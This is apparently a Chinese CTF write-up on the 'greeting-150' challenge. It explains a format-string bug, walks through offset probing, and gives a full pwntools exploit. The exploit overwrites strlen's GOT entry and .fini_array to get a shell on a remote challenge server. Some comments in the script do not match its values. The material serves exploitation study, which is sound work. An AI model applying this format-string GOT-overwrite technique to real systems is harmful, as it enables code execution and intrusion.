1. [*] '/home/squirrel/桌面/target'
    2. Arch: i386-32-little
    3. RELRO: No RELRO
    4. Stack: Canary found
    5. NX: NX enabled
    6. PIE: No PIE (0x8048000)

    看源码

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. char s[64]; // [esp+1Ch] [ebp-84h] BYREF
    4. char v5[64]; // [esp+5Ch] [ebp-44h] BYREF
    5. unsigned int v6; // [esp+9Ch] [ebp-4h]
    6. v6 = __readgsdword(0x14u);
    7. printf("Please tell me your name... ");
    8. if ( !getnline(v5, 64) )
    9. return puts("Don't ignore me ;( ");
    10. sprintf(s, "Nice to meet you, %s :)\n", v5);
    11. return printf(s); //fmt loophole
    12. }
    13. size_t __cdecl getnline(char *s, int n)// v5 64
    14. {
    15. char *v3; // [esp+1Ch] [ebp-Ch]
    16. fgets(s, n, stdin);
    17. v3 = strchr(s, 10);//这步我实在看不懂干啥的,感觉没啥用
    18. if ( v3 )
    19. *v3 = 0;
    20. return strlen(s);
    21. }

    这里补充几个函数

    1. char * strchr(char * str, char/int c)
    2. 在字符串str中寻找字符C第一次出现的位置,并返回其位置(地址指针),若失败则返回NULL;
    1. char * fgets(char * s, int n,FILE *stream);
    2. s: 字符型指针,指向存储读入数据的缓冲区的地址。
    3. n: 从流中读入n-1个字符
    4. stream : 指向读取的流。
    1. sprintf():
    2. 函数功能:把格式化的数据写入某个字符串
    3. 函数原型:int sprintf( char *buffer, const char *format [, argument] … );
    4. 返回值:字符串长度(strlen)

    这里注意到调用strlen的方法和调用system是一样的,我们可以将strlen的got表劫持为system的plt表,然后输入binsh就调用了,那么没有栈溢出,怎么第二次回到main函数输入binsh呢,这就要通过(为什么是sys的plt表,因为system没用过,你没法得到got表)

    1. .fini_array:08049934 ; ELF Termination Function Table
    2. .fini_array:08049934 ; ===========================================================================
    3. .fini_array:08049934
    4. .fini_array:08049934 ; Segment type: Pure data
    5. .fini_array:08049934 ; Segment permissions: Read/Write
    6. .fini_array:08049934 _fini_array segment dword public 'DATA' use32
    7. .fini_array:08049934 assume cs:_fini_array
    8. .fini_array:08049934 ;org 8049934h
    9. .fini_array:08049934 __do_global_dtors_aux_fini_array_entry dd offset __do_global_dtors_aux
    10. .fini_array:08049934 ; DATA XREF: __libc_csu_init+18↑o
    11. .fini_array:08049934 _fini_array ends ; Alternative name is '__init_array_end'
    12. .fini_array:08049934

    这个字段来进行修改,函数结束后会调用这个函数指针

    1. Nice to meet you, //这有18个字节
    2. 输入printf的其实是Nice to meet you, +payload
    3. 32位操作系统是4字节4字节向下寻找,我们需要补齐使其位于20字节

    那么接下来要算偏移了
    这里的知识点是fmt改写大地址
    上张图
    xctf-pwn-高手进阶区-greeting-150 [recorded] - 图1

    hhn 写入的就是单字节,hn 写入的就是双字节

    1. squirrel@squirrel-virtual-machine:~/桌面$ ./target
    2. Hello, I'm nao!
    3. Please tell me your name... AAAA_1.%p_2.%p_3.%p_4.%p_5.%p_6.%p_7.%p_8.%p_9.%p_10.%p_11.%p_12.%p_13.%p_14.%p 11
    4. Nice to meet you, AAAA_1.0x80487d0_2.0xffaa809c_3.(nil)_4.(nil)_5.(nil)_6.(nil)_7.0x6563694e_8.0x206f7420_9.0x7465656d_10.0x756f7920_11.0x4141202c_1 :)

    明显可以看到不对齐,我们现在加两个字节之后,偏移就是12了
    一个注意点是str不能和比特流相加,要encode(‘utf-8’)
    第二个注意点就是

    1. from pwn import*
    2. context(os='Linux',arch='amd64',log_level = 'debug')
    3. #p=process('./target')
    4. p=remote('111.200.241.244',55363)
    5. system_plt=0x08048490
    6. main_addr =0x080485ED
    7. fini_array=0x08049934
    8. strlen_got=0x08049A54
    9. p.recvuntil('Please tell me your name... ')
    10. #system_plt=8490 system_plt+2=0804
    11. payload=b'a'*2
    12. payload+=p32(strlen_got+2)+p32(strlen_got)+p32(fini_array)
    13. num=2020#0x804-0x20(18+2+3*4)
    14. k='%'+str(num)+'c%12$hn'
    15. payload+=k.encode('utf-8')
    16. num=31884#0x8490-0x804
    17. k='%'+str(num)+'c%13$hn'
    18. payload+= k.encode('utf-8')
    19. num=349#0x85E0-0x8490
    20. k='%'+str(num)+'c%14$hn'
    21. payload+= k.encode('utf-8')
    22. print(len(payload))
    23. p.sendline(payload)
    24. p.recvuntil('Please tell me your name... ')
    25. p.sendline('/bin/sh')
    26. p.interactive()
    27. #aaAAAA_1.%p_2.%p_3.%p_4.%p_5.%p_6.%p_7.%p_8.%p_9.%p_10.%p_11.%p_12.%p_13.%p_14.%p 12

    这里其实还有一个问题,为什么strlen必须要覆盖高位和Fini——array不需要,我也不知道,实验发现,如果需要覆盖fini的高位,需要67bytes,emmm,题目只给了65